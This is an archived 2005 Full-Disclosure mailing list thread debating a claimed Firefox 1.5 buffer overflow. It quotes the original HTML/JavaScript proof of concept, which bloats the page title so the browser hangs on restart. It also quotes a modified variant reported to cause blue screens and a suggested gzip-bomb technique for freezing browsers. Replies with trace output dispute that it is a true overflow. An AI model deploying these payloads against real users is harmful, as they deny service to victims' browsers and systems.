| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Sat Dec 10 07:17:28 2005
From: iago at valhallalegends.com (Ron)
Subject: Firefox 1.5 buffer overflow (poc) - more buffer
"overflows" waiting to be discovered
If it's causing a Bluescreen, it's probably not a problem with Firefox.
It's looking like it IS a problem with the Windows API, as somebody
else suggested.
F?sforo wrote:
> It works here.
>
> seems it depends on how much ram you've. i got 2 blue screens, after
> changed the code a bit. the first one was about MEMORY_MANAGEMENT and
> the second one was a PAGE_FAULT_IN_NONPAGED_AREA. And both occurs
> without user interaction, the second one i just've opened firefox, not
> the bug file (maybe cache ?)
>
> ps: i've 1Gb of ram
>
> <html><head><title>heh</title><script type="text/javascript">
> function ex() {
> var buffer = "";
> for (var i = 0; i < 5000; i++) {
> buffer += "A";
> }
> var buffer2 = buffer;
> var buffer3 = buffer2;
> for (i = 0; i < 500; i++) {
> buffer2 += buffer;
> for (i = 0; i < 500; i++) {
> buffer3 += buffer2;
> }
> }
> document.title = buffer2;
> }
> </script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
> </a></body></html>
>
>
>
> 2006/1/31, ezdy <ezdy@....com>:
>> and theres no reason for it to be working.
>> first let's see what's going on - i loaded provided html in firefox
>> and quitted it.
>> even quitting firefox took a while, but only slightly longer than usual.
>> after starting firefox again, it indeed didn't load, stuck in some
>> kind of disk loop ignoring all macosx ui events.
>> but not swapping. alright, that's strange:
>>
>> ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
>> bin
>> ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
>> tail -100
>> ...
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "0"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "0"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL lseek(0x18,0x21a000,0)
>> 7616 firefox-bin RET lseek 0
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "0"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "\\"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL lseek(0x18,0x21c000,0)
>> 7616 firefox-bin RET lseek 0
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "A"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>> 7616 firefox-bin GIO fd 24 read 4096 bytes
>> "A"
>> 7616 firefox-bin RET read 4096/0x1000
>> 7616 firefox-bin CALL lseek(0x18,0x21e000,0)
>> 7616 firefox-bin RET lseek 0
>> 7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
>>
>> this repeats virtually ad-infinitum until end of history.dat is reached.
>> note that there is never allocated any memory-the same buffer is
>> always used, thus no memory leak.
>> firefox is stuck in loop (and eventually starts, since the string is
>> finite, in my case
>> about 30M) but it took way too longer to load. im not a windows user
>> but since mac is only
>> step away from it (you know apple, let's take win95 and freebsd and
>> mix it together) my guess is
>> it is the same situation of keeping main thread busy and events
>> cannot be passed down, eventualy
>> leading to "application is not responding" killbox.
>>
>> for Z1PL0CK:
>> Don't stop, keep posting fake "buffer overflows" of #darknet
>> trademonkeys (this one actually looked funny in the beggining).
>> This time you made it to get /.ed which is not a bad start, but yo
>> gonna fly higher!
>>
>> Because this bug got killed, i've something better for you:
>> dd if=/dev/zero a 2GB file and gzip it. then just write a php script
>> which sets content-encoding: gzip and
>> fpassthru the file. safari rendered 1.2gb system unresponsible in 5
>> seconds, firefox in about 30. both crashed
>> on "overflows" like this:
>>
>> Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
>> failed (error code=3)
>> Safari(233,0xa000ed68) malloc: *** error: can't allocate region
>> Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
>> debug
>>
>> for those interested i can send coredumps
>>
>> now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
>> pollute browser's heap with shellcode: yah, this
>> is a good way).
>>
>> sheesh. is this some 'who invent a stupidier dos attack against
>> browser' contest of some sort or what?
>>
>> On 8.12.2005, at 20:51, Matt wrote:
>>
>>> Didn't work here, just made the system go a bit sluggish for a
>>> moment, as you would expect when dealing with a 2.5 million
>>> character string.
>>>
>>> Firefox :
>>> Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
>>> Firefox/1.5
>>> Built with :
>>> gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
>>> Window manager:
>>> KDE 3.5.0
>>>
>>> Possibly it is crashing the Windows API ?
>>>
>>> --
>>> Matt
>>>
>>>
>>> On 12/9/05, Ron <iago@...hallalegends.com > wrote:I was also unable
>>> to replicate it, on Firefox 1.5 i386 Linux EN
>>>
>>> ad@...poverflow.com wrote:
>>>> -----BEGIN PGP SIGNED MESSAGE-----
>>>> Hash: SHA1
>>>>
>>>> nor a fake , nor you really dont know what is a buffer overflow,
>>> but for
>>>> sure here on my firefox 1.5 EN, the client is much longuer to
>>> load to
>>>> the next boot but it reloads fine without exceptions and there is
>>>> nothing about a security bug here...
>>>>
>>>>
>>>>> <!-- Firefox 1.5 buffer overflow
>>>>>
>>>>> Basically firefox logs all kinda of URL data in it's history.dat
>>> file,
>>>>> this little script will set a really large topic and Firefox
>>> will then
>>>>> save that topic into it's history.dat.. The next time that
>>> firefox is
>>>>> opened, it will instantly crash due to a buffer overflow -- this
>>> will
>>>>> happen everytime until you manually delete the history.dat file
>>> -- >which
>>>>> most users won't figure out.
>>>>>
>>>>> this proof of concept will only prevent someone from reopening
>>>>> their browser after being exploited. DoS if you will. however, code
>>>>> execution is possible with some modifcations.
>>>>>
>>>>> Tested with Firefox 1.5 on Windows XP SP2.
>>>>>
>>>>> ZIPLOCK <sickbeatz@...il.com>
>>>>>
>>>>> -->
>>>>> <html><head><title>heh</title><script type="text/javascript">
>>>>> function ex() {
>>>>> var buffer = "";
>>>>> for (var i = 0; i < 5000; i++) {
>>>>> buffer += "A";
>>>>> }
>>>>> var buffer2 = buffer;
>>>>> for (i = 0; i < 500; i++) {
>>>>> buffer2 += buffer;
>>>>> }
>>>>> document.title = buffer2;
>>>>> }
>>>>> </script></head><body>ZIPLOCK says <a href="javascript:ex
>>> ();">CLICK ME
>>>>> </a></body></html>
>>>> -----BEGIN PGP SIGNATURE-----
>>>> Version: GnuPG v1.4.2 (MingW32)
>>>>
>>>> iQIVAwUBQ5g3Jq+LRXunxpxfAQIg5RAAsMXisNDN9AcLiWf9F7nsoKhT6uaULAw+
>>>> 4omnQUjuaRvxAIYRwKNC1nC+zl8qzmUsL4Extkd52mn7OkTrprd1MUE09CoshSlX
>>>> Nq9N62bJ4zqRsdrum1NQhc358scTWNKCmWWXtSGNqu4fGnvpljyeYRACGeC6UD/v
>>>> DDbikg09XOO+GffIAf4la63f+SV63+laZ6TkmX2jxBdw1LBN0mMCBLo0IPY5K78m
>>>> /Cu2SCIqvs00ih6olLp9f8/3p9SgiK2+D9UiTnw3F3f2mYR5r7uGilYL9PNQPmKE
>>>> crCnfKCYxi/4P03rnIuja9LNloQWkBTsOhOfe5716NlQ/KZAz/IpfTw7yS6sdn22
>>>> cxUpAE5zQqfI7jI0cD3yozmSksMyyEBLojAtsn2ECFOKpQQgkoOgaQX+dnrT+EYo
>>>> pr2qquUKH/GXHGeT9od57cUkC/Jaf7qcaSkF6/LJ+13yHcsuDH0KcsMCYDP6aGN3
>>>> 5R4/c6MAGFWKblMzdksWe+qqCDgm1yeM7MBbHGYyL6PMnfSldJBD29kGceLc47hi
>>>> AVJaVmmDb3Nc/fo93gmqUT/x+mMItyk8+4dH0HOzEjRfI0qedeD+1uusS97ThVEw
>>>> 2KG1o/1vlLPsnailmtHbj8sj/iawQvQRR/Phvk2Noz8bTQSEkDuThtE+zr2ZEjvb
>>>> IFxjTMn8Sc0=
>>>> =SX09
>>>> -----END PGP SIGNATURE-----
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
> --
>
> ----------------------------------------------
>
> "O caminho do homem de bem ? cercado de
> todos os lados pelas iniq?idades do ego?smo
> e tirania dos homens maus. Aben?oados os que,
> em nome da caridade e boa vontade, conduzem
> os fracos pelo vale das sombras, pois ele ?
> o guardi?o de seu irm?o e o que encontra os
> filhos perdidos. E eu vou atacar com vingan?a
> e f?ria os que tentarem envenenar e destruir
> meus irm?os. E quando minha vingan?a se abater
> sobre eles, saber?o que eu sou o Senhor."
>
> (Ezequiel, 25, 17)
>
>
> ------------------------------------------------------------------------
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists